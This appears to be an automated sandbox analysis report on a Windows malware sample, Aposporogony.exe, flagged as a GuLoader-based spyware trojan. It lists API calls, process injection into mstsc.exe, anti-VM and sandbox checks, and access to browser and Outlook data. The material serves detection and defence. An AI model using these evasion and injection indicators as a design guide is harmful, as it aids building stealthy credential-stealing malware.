Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8829F0 NtReadFile,LdrInitializeThunk,	4_2_1D8829F0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882B90 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_1D882B90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882BC0 NtQueryInformationToken,LdrInitializeThunk,	4_2_1D882BC0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882B10 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_1D882B10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8834E0 NtCreateMutant,LdrInitializeThunk,	4_2_1D8834E0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882D50 NtWriteVirtualMemory,	4_2_1D882D50
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D883C90 NtOpenThread,	4_2_1D883C90
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882CD0 NtEnumerateKey,	4_2_1D882CD0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882C10 NtOpenProcess,	4_2_1D882C10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882C20 NtSetInformationFile,	4_2_1D882C20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D883C30 NtOpenProcessToken,	4_2_1D883C30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882FB0 NtSetValueKey,	4_2_1D882FB0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882F30 NtOpenDirectoryObject,	4_2_1D882F30
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882E80 NtCreateProcessEx,	4_2_1D882E80
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882EC0 NtQuerySection,	4_2_1D882EC0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882E00 NtQueueApcThread,	4_2_1D882E00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8829D0 NtWaitForSingleObject,	4_2_1D8829D0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8838D0 NtGetContextThread,	4_2_1D8838D0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882B80 NtCreateKey,	4_2_1D882B80
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882BE0 NtQueryVirtualMemory,	4_2_1D882BE0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882B00 NtQueryValueKey,	4_2_1D882B00
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882B20 NtQueryInformationProcess,	4_2_1D882B20
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882A80 NtClose,	4_2_1D882A80
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882AA0 NtQueryInformationFile,	4_2_1D882AA0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882AC0 NtEnumerateValueKey,	4_2_1D882AC0
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D882A10 NtWriteFile,	4_2_1D882A10
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D884570 NtSuspendThread,	4_2_1D884570
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D884260 NtSetContextThread,	4_2_1D884260
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046234E0 NtCreateMutant,LdrInitializeThunk,	6_2_046234E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622C30 NtMapViewOfSection,LdrInitializeThunk,	6_2_04622C30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622CF0 NtDelayExecution,LdrInitializeThunk,	6_2_04622CF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622D10 NtQuerySystemInformation,LdrInitializeThunk,	6_2_04622D10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,	6_2_04622DC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622E50 NtCreateSection,LdrInitializeThunk,	6_2_04622E50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622F00 NtCreateFile,LdrInitializeThunk,	6_2_04622F00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046229F0 NtReadFile,LdrInitializeThunk,	6_2_046229F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622A10 NtWriteFile,LdrInitializeThunk,	6_2_04622A10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622AC0 NtEnumerateValueKey,LdrInitializeThunk,	6_2_04622AC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622A80 NtClose,LdrInitializeThunk,	6_2_04622A80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622B00 NtQueryValueKey,LdrInitializeThunk,	6_2_04622B00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622B10 NtAllocateVirtualMemory,LdrInitializeThunk,	6_2_04622B10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622BC0 NtQueryInformationToken,LdrInitializeThunk,	6_2_04622BC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622B80 NtCreateKey,LdrInitializeThunk,	6_2_04622B80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622B90 NtFreeVirtualMemory,LdrInitializeThunk,	6_2_04622B90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04624570 NtSuspendThread,	6_2_04624570
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04624260 NtSetContextThread,	6_2_04624260
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622C50 NtUnmapViewOfSection,	6_2_04622C50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622C20 NtSetInformationFile,	6_2_04622C20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04623C30 NtOpenProcessToken,	6_2_04623C30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622C10 NtOpenProcess,	6_2_04622C10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622CD0 NtEnumerateKey,	6_2_04622CD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04623C90 NtOpenThread,	6_2_04623C90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622D50 NtWriteVirtualMemory,	6_2_04622D50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622DA0 NtReadVirtualMemory,	6_2_04622DA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622E00 NtQueueApcThread,	6_2_04622E00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622EC0 NtQuerySection,	6_2_04622EC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622ED0 NtResumeThread,	6_2_04622ED0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622EB0 NtProtectVirtualMemory,	6_2_04622EB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622E80 NtCreateProcessEx,	6_2_04622E80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622F30 NtOpenDirectoryObject,	6_2_04622F30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622FB0 NtSetValueKey,	6_2_04622FB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046238D0 NtGetContextThread,	6_2_046238D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_046229D0 NtWaitForSingleObject,	6_2_046229D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622AA0 NtQueryInformationFile,	6_2_04622AA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622B20 NtQueryInformationProcess,	6_2_04622B20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04622BE0 NtQueryVirtualMemory,	6_2_04622BE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041C760 NtCreateFile,	6_2_0041C760
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041C860 NtDeleteFile,	6_2_0041C860
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041C810 NtReadFile,	6_2_0041C810
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041C890 NtClose,	6_2_0041C890
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041C940 NtAllocateVirtualMemory,	6_2_0041C940
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041C75A NtCreateFile,	6_2_0041C75A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041C85A NtDeleteFile,	6_2_0041C85A

Source: Aposporogony.exe, 00000000.00000002.2039403642.00000000004BB000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDomspraksis.exe: vs Aposporogony.exe
Source: Aposporogony.exe, 00000004.00000000.1825149209.00000000004BB000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDomspraksis.exe: vs Aposporogony.exe
Source: Aposporogony.exe, 00000004.00000003.2019169152.000000001D5CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Aposporogony.exe
Source: Aposporogony.exe, 00000004.00000003.2215486777.000000001DC85000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemstsc.exej% vs Aposporogony.exe
Source: Aposporogony.exe, 00000004.00000002.2246962172.000000001DAE0000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Aposporogony.exe
Source: Aposporogony.exe, 00000004.00000003.2025337338.000000001D78C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Aposporogony.exe
Source: Aposporogony.exe, 00000004.00000002.2244545671.000000001D93D000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Aposporogony.exe
Source: Aposporogony.exe, 00000004.00000002.2242109670.000000001D732000.00000040.10000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamemstsc.exej% vs Aposporogony.exe
Source: Aposporogony.exe, 00000004.00000003.2210470359.000000001D613000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemstsc.exej% vs Aposporogony.exe
Source: Aposporogony.exe	Binary or memory string: OriginalFilenameDomspraksis.exe: vs Aposporogony.exe

Source: C:\Users\user\Desktop\Aposporogony.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: Aposporogony.exe

Virustotal: Detection: 9%

Source: C:\Users\user\Desktop\Aposporogony.exe

File read: C:\Users\user\Desktop\Aposporogony.exe

Source: Aposporogony.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Aposporogony.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\Aposporogony.exe C:\Users\user\Desktop\Aposporogony.exe
Source: C:\Users\user\Desktop\Aposporogony.exe	Process created: C:\Users\user\Desktop\Aposporogony.exe C:\Users\user\Desktop\Aposporogony.exe
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\mstsc.exe C:\Windows\SysWOW64\mstsc.exe
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe
Source: C:\Users\user\Desktop\Aposporogony.exe	Process created: C:\Users\user\Desktop\Aposporogony.exe C:\Users\user\Desktop\Aposporogony.exe	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: C:\Users\user\Desktop\Aposporogony.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: Whiteshank.lnk.0.dr

LNK file: ..\..\..\..\Public\Videos\Undisputatious\Octastylos191\Overabundant92.rev

Source: C:\Users\user\Desktop\Aposporogony.exe

0_2_004034A5

Source: C:\Users\user\Desktop\Aposporogony.exe

File created: C:\Users\user\AppData\Local\Temp\nscC1C.tmp

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/7@21/18

Source: C:\Users\user\Desktop\Aposporogony.exe

Code function: 0_2_00402104 CoCreateInstance,

0_2_00402104

Source: C:\Users\user\Desktop\Aposporogony.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Aposporogony.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404850

Source: 231-EqK-.6.dr

Binary or memory string: CREATE TABLE "autofill_profile_edge_extended" ( guid VARCHAR PRIMARY KEY, date_of_birth_day VARCHAR, date_of_birth_month VARCHAR, date_of_birth_year VARCHAR, source INTEGER NOT NULL DEFAULT 0, source_id VARCHAR)[;

Source: C:\Users\user\Desktop\Aposporogony.exe

File created: C:\Program Files (x86)\Kiwifrugtens

Source: C:\Users\user\Desktop\Aposporogony.exe

File written: C:\Users\user\AppData\Local\Temp\Dybfrossen.ini

Source: C:\Windows\SysWOW64\mstsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: C:\Users\user\Desktop\Aposporogony.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Phloroglucic\Poisonings\Gytling\Istand

Source: Aposporogony.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: wntdll.pdbUGP source: Aposporogony.exe, 00000004.00000002.2242251586.000000001D810000.00000040.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2244545671.000000001D93D000.00000040.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2017191835.000000001D4AA000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2023445771.000000001D65F000.00000004.00000800.00020000.00000000.sdmp, mstsc.exe, 00000006.00000003.2225655729.000000000440A000.00000004.00000800.00020000.00000000.sdmp, mstsc.exe, 00000006.00000002.6581382937.00000000045B0000.00000040.00000800.00020000.00000000.sdmp, mstsc.exe, 00000006.00000002.6585251641.00000000046DD000.00000040.00000800.00020000.00000000.sdmp, mstsc.exe, 00000006.00000003.2220670268.000000000425B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Aposporogony.exe, Aposporogony.exe, 00000004.00000002.2242251586.000000001D810000.00000040.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2244545671.000000001D93D000.00000040.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2017191835.000000001D4AA000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2023445771.000000001D65F000.00000004.00000800.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 00000006.00000003.2225655729.000000000440A000.00000004.00000800.00020000.00000000.sdmp, mstsc.exe, 00000006.00000002.6581382937.00000000045B0000.00000040.00000800.00020000.00000000.sdmp, mstsc.exe, 00000006.00000002.6585251641.00000000046DD000.00000040.00000800.00020000.00000000.sdmp, mstsc.exe, 00000006.00000003.2220670268.000000000425B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mstsc.pdbGCTL source: Aposporogony.exe, 00000004.00000003.2210470359.000000001D613000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2213382254.000000001DB63000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2240646207.000000001D610000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: mstsc.pdb source: Aposporogony.exe, 00000004.00000003.2210470359.000000001D613000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000003.2213382254.000000001DB63000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2240646207.000000001D610000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: firefox.pdb source: mstsc.exe, 00000006.00000003.2922634509.0000000007417000.00000004.00000800.00020000.00000000.sdmp, mstsc.exe, 00000006.00000003.2985837581.000000000759F000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2043095128.0000000003480000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.1828325700.0000000001660000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_73D22FD0 push eax; ret	0_2_73D22FFE
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03485B5C pushfd ; retf	0_2_03485B61
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348624E push ecx; iretd	0_2_03486250
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0348463F pushad ; retf	0_2_03484640
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8408CD push ecx; mov dword ptr [esp], ecx	4_2_1D8408D6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8197A1 push es; iretd	4_2_1D8197A8
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 4_2_1D8121AD pushad ; retf 0004h	4_2_1D81223F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_045E08CD push ecx; mov dword ptr [esp], ecx	6_2_045E08D6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_004183EF push ecx; retf	6_2_00418400
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_004183A9 pushad ; ret	6_2_004183AB
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041859D push D358F441h; iretd	6_2_004185A8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041884B push eax; iretd	6_2_0041884C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041F955 push eax; ret	6_2_0041F9A8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041F9A2 push eax; ret	6_2_0041F9A8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041F9AB push eax; ret	6_2_0041FA12
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0041FA0C push eax; ret	6_2_0041FA12
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00406CAF push edi; retf	6_2_00406CB1

Source: C:\Users\user\Desktop\Aposporogony.exe

Code function: 0_2_73D21B63 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73D21B63

Source: C:\Users\user\Desktop\Aposporogony.exe

File created: C:\Users\user\AppData\Local\Temp\nsm2525.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Aposporogony.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\Aposporogony.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Aposporogony.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe TID: 8504	Thread sleep count: 110 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 8504	Thread sleep time: -220000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7848	Thread sleep time: -105000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7848	Thread sleep count: 65 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7848	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7848	Thread sleep count: 78 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7848	Thread sleep time: -78000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Aposporogony.exe

Code function: 0_2_03480348 rdtsc

0_2_03480348

Source: C:\Users\user\Desktop\Aposporogony.exe	API coverage: 1.2 %
Source: C:\Windows\SysWOW64\mstsc.exe	API coverage: 3.1 %

Source: C:\Users\user\Desktop\Aposporogony.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_0040672B FindFirstFileW,FindClose,	0_2_0040672B
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405AFA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00412C80 FindFirstFileW,FindNextFileW,FindClose,	6_2_00412C80

Source: C:\Users\user\Desktop\Aposporogony.exe

System information queried: ModuleInformation

Source: C:\Users\user\Desktop\Aposporogony.exe	API call chain: ExitProcess graph end node			graph_0-11479
Source: C:\Users\user\Desktop\Aposporogony.exe	API call chain: ExitProcess graph end node			graph_0-11634

Source: Aposporogony.exe, 00000000.00000002.2043659669.0000000005089000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: Aposporogony.exe, 00000004.00000002.2222039594.00000000019A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: Aposporogony.exe, 00000000.00000002.2043659669.0000000005089000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: Aposporogony.exe, 00000000.00000002.2043659669.0000000005089000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: Aposporogony.exe, 00000004.00000003.2022141130.0000000001A10000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2222850216.0000000001A10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: explorer.exe, 00000007.00000000.2486217249.0000000009632000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2634768809.0000000009632000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2347276349.0000000009632000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2557378717.0000000009632000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: Aposporogony.exe, 00000000.00000002.2043659669.0000000005089000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: Aposporogony.exe, 00000000.00000002.2043659669.0000000005089000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: Aposporogony.exe, 00000004.00000003.2022141130.0000000001A10000.00000004.00000020.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2222850216.0000000001A10000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2587906133.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2510899676.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2380819012.000000000F318000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000007.00000000.2587906133.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2510899676.000000000F318000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.2380819012.000000000F318000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=
Source: Aposporogony.exe, 00000000.00000002.2043659669.0000000005089000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: Aposporogony.exe, 00000000.00000002.2043659669.0000000005089000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: Aposporogony.exe, 00000000.00000002.2043659669.0000000005089000.00000004.00000800.00020000.00000000.sdmp, Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: Aposporogony.exe, 00000004.00000002.2223708381.0000000003469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat
Source: firefox.exe, 0000000B.00000002.2995008662.000001F63A1E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Aposporogony.exe

Code function: 0_2_73D21B63 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_73D21B63

Source: C:\Users\user\Desktop\Aposporogony.exe

Code function: 0_2_03480348 rdtsc

0_2_03480348

Source: C:\Users\user\Desktop\Aposporogony.exe

Process token adjusted: Debug

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A3FF1 mov eax, dword ptr fs:[00000030h]	0_2_034A3FF1
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_03487910 mov eax, dword ptr fs:[00000030h]	0_2_03487910
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034915E6 mov eax, dword ptr fs:[00000030h]	0_2_034915E6
Source: C:\Users\user\Desktop\Aposporogony.exe	Code function: 0_2_034A206E mov eax, dword ptr fs:[00000030h]	0_2_034A206E
